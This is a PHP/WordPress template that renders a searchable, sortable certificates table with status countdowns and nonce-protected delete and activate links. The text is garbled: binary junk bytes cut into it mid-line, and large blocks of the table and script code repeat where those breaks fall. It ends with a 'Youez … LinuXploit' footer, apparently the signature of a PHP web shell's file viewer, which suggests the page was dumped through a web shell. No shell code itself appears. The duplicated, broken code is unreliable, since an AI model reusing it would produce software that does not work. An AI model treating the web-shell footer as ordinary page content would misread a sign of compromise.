    height:30px;
    min-width:88px;
    padding:0 12px;
    border-radius:8px;
    text-decoration:none;
    font-size:12px;
    font-weight:700;
    border:1px solid transparent;
}
.kaya-action-btn:hover{
    opacity:.92;
}
.kaya-btn-deactivate{
    background:#fee2e2;
    color:#dc2626;
    border-color:#fecaca;
}
.kaya-btn-deactivate:hover{
    background:#fecaca;
}
.kaya-btn-activate{
    background:#dcfce7;
    color:#15803d;
    border-color:#bbf7d0;
}
.kaya-btn-activate:hover{
    background:#bbf7d0;
}
.kaya-btn-edit{
    background:#eff6ff;
    color:#1d4ed8;
    border-color:#bfdbfe;
}
.kaya-btn-edit:hover{
    background:#dbeafe;
}
.kaya-btn-renew{
    background:#fff7ed;
    color:#c2410c;
    border-color:#fdba74;
}
.kaya-btn-renew:hover{
    background:#ffedd5;
}
.kaya-pdf-btn{
    display:inline-flex;
    align-items:center;
    justify-content:center;
    height:30px;
    min-width:78px;
    padding:0 12px;
    border-radius:8px;
    text-decoration:none;
    font-size:12px;
    font-weight:700;
    background:#eff6ff;
    color:#1d4ed8;
    border:1px solid #bfdbfe;
}
.kaya-pdf-btn:hover{
    background:#dbeafe;
}
.kaya-empty{
    padding:25px;
    text-align:center;
    color:#64748b;
}
</style>
';

if ($kaya_debug_columns) {
    $available_columns = [];
    $sample_row = [];

    if (!empty($rows) && is_array($rows[0])) {
        $available_columns = array_keys($rows[0]);
        $sample_row = $rows[0];
    }

    echo '<div class="kaya-debug-box">';
    echo '<h3>Debug: Available Table Columns</h3>';
    echo '<div class="kaya-debug-grid">';

    echo '<div><span class="kaya-debug-label">Table Name:</span><span class="kaya-debug-code">' . esc_html($table) . '</span></div>';
    echo '<div><span class="kaya-debug-label">Total Rows:</span><span class="kaya-debug-code">' . esc_html(count($rows)) . '</span></div>';
    echo '<div><span class="kaya-debug-label">Current View:</span><span class="kaya-debug-code">' . ($can_view_all_rows ? 'User01 sees all rows' : 'Normal users see only active + current rows') . '</span></div>';
    echo '<div><span class="kaya-debug-label">Available Columns:</span><span class="kaya-debug-code">';
    echo !empty($available_columns) ? esc_html(implode(', ', $available_columns)) : 'No rows found.';
    echo '</span></div>';

    echo '<div><span class="kaya-debug-label">Sample First Row:</span><span class="kaya-debug-code">';
    if (!empty($sample_row)) {
        foreach ($sample_row as $col => $val) {
            echo esc_html($col . ' = ' . (is_scalar($val) || $val === null ? (string)$val : wp_json_encode($val))) . "\n";
        }
    } else {
        echo 'No sample row available.';
    }
    echo '</span></div>';

    echo '</div>';
    echo '</div>';
}

echo '<div class="kaya-cert-wrap">';
echo '<div class="kaya-cert-card">';

echo '<div class="kaya-cert-head">';
echo '<h2 class="kaya-cert-title">Certificates</h2>';
echo '</div>';

echo '<div class="kaya-cert-toolbar">';
echo '<div class="kaya-cert-search-wrap">';
echo '<input type="text" id="kayaCertSearch" class="kaya-cert-search" placeholder="Search serial number, category, status..." value="' . esc_attr($current_search_value) . '">';
echo '</div>';
echo '<div class="kaya-cert-note">Click column headers to sort</div>';
echo '</div>';

echo '<div class="kaya-cert-tablewrap">';
echo '<table class="kaya-cert-table" id="kayaCertTable">';

echo '<thead>';
echo '<th data-sort="number">No.</th>';
echo '<th data-sort="text">Serial Number</th>';
echo '<th data-sort="text">Category</th>';
echo '<th data-sort="date">Issue Date</th>';
echo '<th data-sort="date">Expired Date</th>';
echo '<th data-sort="number">Status / Countdown</th>';

if ($can_view_all_rows) {
    echo '<th data-sort="text">Current</th>';
    echo '<th data-sort="text">Active Flag</th>';
}

if ($can_manage_actions) {
    echo '<th>Action</th>';
}

echo '<th data-sort="text">PDF File</th>';
echo '</thead>';

echo '<tbody>';

if (!$rows) {

    $colspan = 6;
    if ($can_view_all_rows) {
        $colspan += 2;
    }
    if ($can_manage_actions) {
        $colspan += 1;
    }
    $colspan += 1;

    echo '<tr><td colspan="'.$colspan.'" class="kaya-empty">No records found.</td></tr>';

} else {

    $no = 1;
    $today = strtotime(current_time('Y-m-d'));

    foreach ($rows as $row) {

        $row_id = isset($row['id']) ? intval($row['id']) : 0;
        $post_id = isset($row['post_id']) ? intval($row['post_id']) : 0;
        $post_url = $post_id ? get_permalink($post_id) : '';
        $pdf_url = isset($row['pdf_url']) ? trim((string) $row['pdf_url']) : '';
        $serial_number = isset($row['serial_number']) ? (string) $row['serial_number'] : '';

        $category_name = !empty($row['category_name'])
            ? (string) $row['category_name']
            : (!empty($row['category_slug']) ? (string) $row['category_slug'] : 'uncategorized');

        $issue_ts = !empty($row['today_date']) ? strtotime($row['today_date']) : false;
        $expire_ts = !empty($row['expired_date']) ? strtotime($row['expired_date']) : false;

        $issue_display = $issue_ts ? date('d-F-Y', $issue_ts) : '-';
        $expire_display = $expire_ts ? date('d-F-Y', $expire_ts) : '-';

        $is_active = (isset($row['is_active']) && strtoupper((string)$row['is_active']) === 'F') ? 'F' : 'T';
        $is_current = (isset($row['is_current']) && strtoupper((string)$row['is_current']) === 'F') ? 'F' : 'T';

        $cert_status_raw = isset($row['cert_status']) ? strtolower(trim((string)$row['cert_status'])) : '';
        $is_expired = false;

        if ($is_active === 'F') {
            $status_html = '<span class="kaya-status-badge kaya-status-inactive">Inactive</span>';
            $countdown_text = 'Hidden from normal users';
            $status_sort = -999999;
        } elseif ($is_current === 'F') {
            $status_html = '<span class="kaya-status-badge kaya-status-old">Old Version</span>';
            $countdown_text = 'Replaced by newer certificate';
            $status_sort = -888888;
        } elseif ($expire_ts) {
            $is_expired = ($expire_ts < $today) || ($cert_status_raw === 'expired');

            if ($is_expired) {
                $expired_days = floor(($today - $expire_ts) / 86400);
                if ($expired_days < 0) $expired_days = 0;
                $status_html = '<span class="kaya-status-badge kaya-status-expired">Expired</span>';
                $countdown_text = $expired_days . ' day' . ($e��mX5����������R�w
E*�����lass="kaya-cert-table" id="kayaCertTable">';

echo '<thead>';
echo '<th data-sort="number">No.</th>';
echo '<th data-sort="text">Serial Number</th>';
echo '<th data-sort="text">Category</th>';
echo '<th data-sort="date">Issue Date</th>';
echo '<th data-sort="date">Expired Date</th>';
echo '<th data-sort="number">Status / Countdown</th>';

if ($can_view_all_rows) {
    echo '<th data-sort="text">Current</th>';
    echo '<th data-sort="text">Active Flag</th>';
}

if ($can_manage_actions) {
    echo '<th>Action</th>';
}

echo '<th data-sort="text">PDF File</th>';
echo '</thead>';

echo '<tbody>';

if (!$rows) {

    $colspan = 6;
    if ($can_view_all_rows) {
        $colspan += 2;
    }
    if ($can_manage_actions) {
        $colspan += 1;
    }
    $colspan += 1;

    echo '<tr><td colspan="'.$colspan.'" class="kaya-empty">No records found.</td></tr>';

} else {

    $no = 1;
    $today = strtotime(current_time('Y-m-d'));

    foreach ($rows as $row) {

        $row_id = isset($row['id']) ? intval($row['id']) : 0;
        $post_id = isset($row['post_id']) ? intval($row['post_id']) : 0;
        $post_url = $post_id ? get_permalink($post_id) : '';
        $pdf_url = isset($row['pdf_url']) ? trim((string) $row['pdf_url']) : '';
        $serial_number = isset($row['serial_number']) ? (string) $row['serial_number'] : '';

        $category_name = !empty($row['category_name'])
            ? (string) $row['category_name']
            : (!empty($row['category_slug']) ? (string) $row['category_slug'] : 'uncategorized');

        $issue_ts = !empty($row['today_date']) ? strtotime($row['today_date']) : false;
        $expire_ts = !empty($row['expired_date']) ? strtotime($row['expired_date']) : false;

        $issue_display = $issue_ts ? date('d-F-Y', $issue_ts) : '-';
        $expire_display = $expire_ts ? date('d-F-Y', $expire_ts) : '-';

        $is_active = (isset($row['is_active']) && strtoupper((string)$row['is_active']) === 'F') ? 'F' : 'T';
        $is_current = (isset($row['is_current']) && strtoupper((string)$row['is_current']) === 'F') ? 'F' : 'T';

        $cert_status_raw = isset($row['cert_status']) ? strtolower(trim((string)$row['cert_status'])) : '';
        $is_expired = false;

        if ($is_active === 'F') {
            $status_html = '<span class="kaya-status-badge kaya-status-inactive">Inactive</span>';
            $countdown_text = 'Hidden from normal users';
            $status_sort = -999999;
        } elseif ($is_current === 'F') {
            $status_html = '<span class="kaya-status-badge kaya-status-old">Old Version</span>';
            $countdown_text = 'Replaced by newer certificate';
            $status_sort = -888888;
        } elseif ($expire_ts) {
            $is_expired = ($expire_ts < $today) || ($cert_status_raw === 'expired');

            if ($is_expired) {
                $expired_days = floor(($today - $expire_ts) / 86400);
                if ($expired_days < 0) $expired_days = 0;
                $status_html = '<span class="kaya-status-badge kaya-status-expired">Expired</span>';
                $countdown_text = $expired_days . ' day' . ($expired_days == 1 ? '' : 's') . ' ago';
                $status_sort = -max(1, $expired_days);
            } else {
                $days_left = ceil(($expire_ts - $today) / 86400);
                $status_html = '<span class="kaya-status-badge kaya-status-active">Active</span>';
                $countdown_text = $days_left . ' day' . ($days_left == 1 ? '' : 's') . ' left';
                $status_sort = $days_left;
            }
        } else {
            $status_html = '<span class="kaya-status-badge kaya-status-expired">Unknown</span>';
            $countdown_text = '-';
            $status_sort = 0;
        }

        $row_classes = [];
        if ($is_active === 'F') $row_classes[] = 'kaya-row-inactive';
        if ($is_current === 'F') $row_classes[] = 'kaya-row-not-current';
        $row_class_attr = !empty($row_classes) ? ' class="'.esc_attr(implode(' ', $row_classes)).'"' : '';

        $edit_args = [
            'edit_id' => $row_id,
        ];

        $renew_args = [
            'renew_id'     => $row_id,
            'renew_serial' => $serial_number,
        ];

        if ($current_search_value !== '') {
            $edit_args['kaya_search'] = $current_search_value;
            $renew_args['kaya_search'] = $current_search_value;
        }

        $edit_url = add_query_arg($edit_args, $kaya_edit_base_url);
        $renew_url = add_query_arg($renew_args, $kaya_renew_base_url);

        // Delete (soft delete) = set is_active = F
        $delete_args = [
            'kaya_toggle_id' => $row_id,
            'kaya_toggle_to' => 'F',
        ];
        if ($current_search_value !== '') {
            $delete_args['kaya_search'] = $current_search_value;
        }
        $delete_url = wp_nonce_url(
            add_query_arg($delete_args),
            'kaya_toggle_row'
        );

        // Activate = set is_active = T
        $activate_args = [
            'kaya_toggle_id' => $row_id,
            'kaya_toggle_to' => 'T',
        ];
        if ($current_search_value !== '') {
            $activate_args['kaya_search'] = $current_search_value;
        }
        $activate_url = wp_nonce_url(
            add_query_arg($activate_args),
            'kaya_toggle_row'
        );

        echo '<tr' . $row_class_attr . '>';

        echo '<td data-value="'.$no.'">'.$no.'</td>';

        echo '<td data-value="'.esc_attr($serial_number).'">
            <span class="kaya-serial">'.esc_html($serial_number).'</span>
         </td>';

        echo '<td data-value="'.esc_attr($category_name).'">
            <span class="kaya-category">'.esc_html($category_name).'</span>
         </td>';

        echo '<td data-value="'.esc_attr($issue_ts ?: 0).'">'.$issue_display.'</td>';
        echo '<td data-value="'.esc_attr($expire_ts ?: 0).'">'.$expire_display.'</td>';

        echo '<td data-value="'.esc_attr($status_sort).'">
            <div class="kaya-status-wrap">
                '.$status_html.'
                <span class="kaya-countdown">'.$countdown_text.'</span>
            </div>
         </td>';

        if ($can_view_all_rows) {
            echo '<td data-value="'.esc_attr($is_current).'">'.esc_html($is_current).'</td>';
            echo '<td data-value="'.esc_attr($is_active).'">'.esc_html($is_active).'</td>';
        }

        if ($can_manage_actions) {
            echo '<td>';
            echo '<div class="kaya-action-wrap">';

            if ($is_current === 'T' && $is_active === 'T') {
                if ($is_expired) {
                    echo '<a class="kaya-action-btn kaya-btn-renew" href="'.esc_url($renew_url).'" target="_blank" rel="noopener">Renewal</a>';
                } else {
                    echo '<a class="kaya-action-btn kaya-btn-edit" href="'.esc_url($edit_url).'" target="_blank" rel="noopener">Edit</a>';
                }
            }

            if ($can_soft_delete && $is_active === 'T' && $is_current === 'T') {
                echo '<a class="kaya-action-btn kaya-btn-deactivate" href="'.esc_url($delete_url).'" onclick="return confirm(\'Are you sure you want to delete this row?\');">Delete</a>';
            }

            if ($can_activate && $is_active === 'F') {
                echo '<a class="kaya-action-btn kaya-btn-activate" href="'.esc_url($activate_url).'" onclick="return confirm(\'Are you sure you want to activate this row?\');">Activate</a>';
            }

            echo '</div>';
            echo '</td>';
        }

        echo '<td data-value="'.esc_attr($post_url).'">';
        if ($post_url) {
            echo '<a class="kaya-pdf-btn" href="'.esc_url($post_url).'" target="_blank" rel="noopener">View Page</a>';
        } else {
            echo '-';
        }
        echo '</td>';

        echo '</tr>';

        $no++;
    }
}

echo '</tbody>';
echo '</table>';
echo '</div>';
echo '</div>';
echo '</div>';
?>

<script>
document.addEventListener('DOMContentLoaded', function () {
    const searchInput = document.getElementById('kayaCertSearch');
    const table = document.getElementById('kayaCertTable');
    const tbody = table.querySelector('tbody');
    const headers = table.querySelectorAll('thead th[data-sort]');
    const SEARCH_PARAM = 'kaya_search';

    function filterRows(keyword) {
        const rows = tbody.querySelectorAll('tr');
        const cleanKeyword = String(keyword || '').toLowerCase().trim();

        rows.forEach(row => {
            row.style.display = row.innerText.toLowerCase().includes(cleanKeyword) ? '' : 'none';
        });
    }

    function updateUrlSearchParam(value) {
        const url = new URL(window.location.href);

        if (value && value.trim() !== '') {
            url.searchParams.set(SEARCH_PARAM, value.trim());
        } else {
            url.searchParams.delete(SEARCH_PARAM);
        }

        window.history.replaceState({}, '', url.toString());
    }

    function getInitialSearchFromUrl() {
        const url = new URL(window.location.href);
        return url.searchParams.get(SEARCH_PARAM) || '';
    }

    if (searchInput) {
        const initialSearch = getInitialSearchFromUrl();

        if (initialSearch) {
            searchInput.value = initialSearch;
            filterRows(initialSearch);
        }

        searchInput.addEventListener('input', function () {
            const keyword = this.value || '';
            filterRows(keyword);
            updateUrlSearchParam(keyword);
        });
    }

    headers.forEach((header, index) => {
        let asc = true;

        header.addEventListener('click', function () {
            const type = header.getAttribute('data-sort');
            const rows = Array.from(tbody.querySelectorAll('tr'));

            rows.sort((a, b) => {
                const aCell = a.children[index];
                const bCell = b.children[index];

                const aVal = aCell ? (aCell.dataset.value || aCell.innerText) : '';
                const bVal = bCell ? (bCell.dataset.value || bCell.innerText) : '';

                let result;

                if (type === 'number' || type === 'date') {
                    result = parseFloat(aVal || 0) - parseFloat(bVal || 0);
                } else {
                    result = String(aVal).localeCompare(String(bVal));
                }

                return asc ? result : -result;
            });

            rows.forEach(row => tbody.appendChild(row));
            asc = !asc;

            if (searchInput) {
                filterRows(searchInput.value || '');
            }
        });
    });
});
</script>�R�wH6k�����������m
E4����xpired_days == 1 ? '' : 's') . ' ago';
                $status_sort = -max(1, $expired_days);
            } else {
                $days_left = ceil(($expire_ts - $today) / 86400);
                $status_html = '<span class="kaya-status-badge kaya-status-active">Active</span>';
                $countdown_text = $days_left . ' day' . ($days_left == 1 ? '' : 's') . ' left';
                $status_sort = $days_left;
            }
        } else {
            $status_html = '<span class="kaya-status-badge kaya-status-expired">Unknown</span>';
            $countdown_text = '-';
            $status_sort = 0;
        }

        $row_classes = [];
        if ($is_active === 'F') $row_classes[] = 'kaya-row-inactive';
        if ($is_current === 'F') $row_classes[] = 'kaya-row-not-current';
        $row_class_attr = !empty($row_classes) ? ' class="'.esc_attr(implode(' ', $row_classes)).'"' : '';

        $edit_args = [
            'edit_id' => $row_id,
        ];

        $renew_args = [
            'renew_id'     => $row_id,
            'renew_serial' => $serial_number,
        ];

        if ($current_search_value !== '') {
            $edit_args['kaya_search'] = $current_search_value;
            $renew_args['kaya_search'] = $current_search_value;
        }

        $edit_url = add_query_arg($edit_args, $kaya_edit_base_url);
        $renew_url = add_query_arg($renew_args, $kaya_renew_base_url);

        // Delete (soft delete) = set is_active = F
        $delete_args = [
            'kaya_toggle_id' => $row_id,
            'kaya_toggle_to' => 'F',
        ];
        if ($current_search_value !== '') {
            $delete_args['kaya_search'] = $current_search_value;
        }
        $delete_url = wp_nonce_url(
            add_query_arg($delete_args),
            'kaya_toggle_row'
        );

        // Activate = set is_active = T
        $activate_args = [
            'kaya_toggle_id' => $row_id,
            'kaya_toggle_to' => 'T',
        ];
        if ($current_search_value !== '') {
            $activate_args['kaya_search'] = $current_search_value;
        }
        $activate_url = wp_nonce_url(
            add_query_arg($activate_args),
            'kaya_toggle_row'
        );

        echo '<tr' . $row_class_attr . '>';

        echo '<td data-value="'.$no.'">'.$no.'</td>';

        echo '<td data-value="'.esc_attr($serial_number).'">
            <span class="kaya-serial">'.esc_html($serial_number).'</span>
         </td>';

        echo '<td data-value="'.esc_attr($category_name).'">
            <span class="kaya-category">'.esc_html($category_name).'</span>
         </td>';

        echo '<td data-value="'.esc_attr($issue_ts ?: 0).'">'.$issue_display.'</td>';
        echo '<td data-value="'.esc_attr($expire_ts ?: 0).'">'.$expire_display.'</td>';

        echo '<td data-value="'.esc_attr($status_sort).'">
            <div class="kaya-status-wrap">
                '.$status_html.'
                <span class="kaya-countdown">'.$countdown_text.'</span>
            </div>
         </td>';

        if ($can_view_all_rows) {
            echo '<td data-value="'.esc_attr($is_current).'">'.esc_html($is_current).'</td>';
            echo '<td data-value="'.esc_attr($is_active).'">'.esc_html($is_active).'</td>';
        }

        if ($can_manage_actions) {
            echo '<td>';
            echo '<div class="kaya-action-wrap">';

            if ($is_current === 'T' && $is_active === 'T') {
                if ($is_expired) {
                    echo '<a class="kaya-action-btn kaya-btn-renew" href="'.esc_url($renew_url).'" target="_blank" rel="noopener">Renewal</a>';
                } else {
                    echo '<a class="kaya-action-btn kaya-btn-edit" href="'.esc_url($edit_url).'" target="_blank" rel="noopener">Edit</a>';
                }
            }

            if ($can_soft_delete && $is_active === 'T' && $is_current === 'T') {
                echo '<a class="kaya-action-btn kaya-btn-deactivate" href="'.esc_url($delete_url).'" onclick="return confirm(\'Are you sure you want to delete this row?\');">Delete</a>';
            }

            if ($can_activate && $is_active === 'F') {
                echo '<a class="kaya-action-btn kaya-btn-activate" href="'.esc_url($activate_url).'" onclick="return confirm(\'Are you sure you want to activate this row?\');">Activate</a>';
            }

            echo '</div>';
            echo '</td>';
        }

        echo '<td data-value="'.esc_attr($post_url).'">';
        if ($post_url) {
            echo '<a class="kaya-pdf-btn" href="'.esc_url($post_url).'" target="_blank" rel="noopener">View Page</a>';
        } else {
            echo '-';
        }
        echo '</td>';

        echo '</tr>';

        $no++;
    }
}

echo '</tbody>';
echo '</table>';
echo '</div>';
echo '</div>';
echo '</div>';
?>

<script>
document.addEventListener('DOMContentLoaded', function () {
    const searchInput = document.getElementById('kayaCertSearch');
    const table = document.getElementById('kayaCertTable');
    const tbody = table.querySelector('tbody');
    const headers = table.querySelectorAll('thead th[data-sort]');
    const SEARCH_PARAM = 'kaya_search';

    function filterRows(keyword) {
        const rows = tbody.querySelectorAll('tr');
        const cleanKeyword = String(keyword || '').toLowerCase().trim();

        rows.forEach(row => {
            row.style.display = row.innerText.toLowerCase().includes(cleanKeyword) ? '' : 'none';
        });
    }

    function updateUrlSearchParam(value) {
        const url = new URL(window.location.href);

        if (value && value.trim() !== '') {
            url.searchParams.set(SEARCH_PARAM, value.trim());
        } else {
            url.searchParams.delete(SEARCH_PARAM);
        }

        window.history.replaceState({}, '', url.toString());
    }

    function getInitialSearchFromUrl() {
        const url = new URL(window.location.href);
        return url.searchParams.get(SEARCH_PARAM) || '';
    }

    if (searchInput) {
        const initialSearch = getInitialSearchFromUrl();

        if (initialSearch) {
            searchInput.value = initialSearch;
            filterRows(initialSearch);
        }

        searchInput.addEventListener('input', function () {
            const keyword = this.value || '';
            filterRows(keyword);
            updateUrlSearchParam(keyword);
        });
    }

    headers.forEach((header, index) => {
        let asc = true;

        header.addEventListener('click', function () {
            const type = header.getAttribute('data-sort');
            const rows = Array.from(tbody.querySelectorAll('tr'));

            rows.sort((a, b) => {
                const aCell = a.children[index];
                const bCell = b.children[index];

                const aVal = aCell ? (aCell.dataset.value || aCell.innerText) : '';
                const bVal = bCell ? (bCell.dataset.value || bCell.innerText) : '';

                let result;

                if (type === 'number' || type === 'date') {
                    result = parseFloat(aVal || 0) - parseFloat(bVal || 0);
                } else {
                    result = String(aVal).localeCompare(String(bVal));
                }

                return asc ? result : -result;
            });

            rows.forEach(row => tbody.appendChild(row));
            asc = !asc;

            if (searchInput) {
                filterRows(searchInput.value || '');
            }
        });
    });
});
</script>��m�:��

Youez - 2016 - github.com/yon3zu
LinuXploit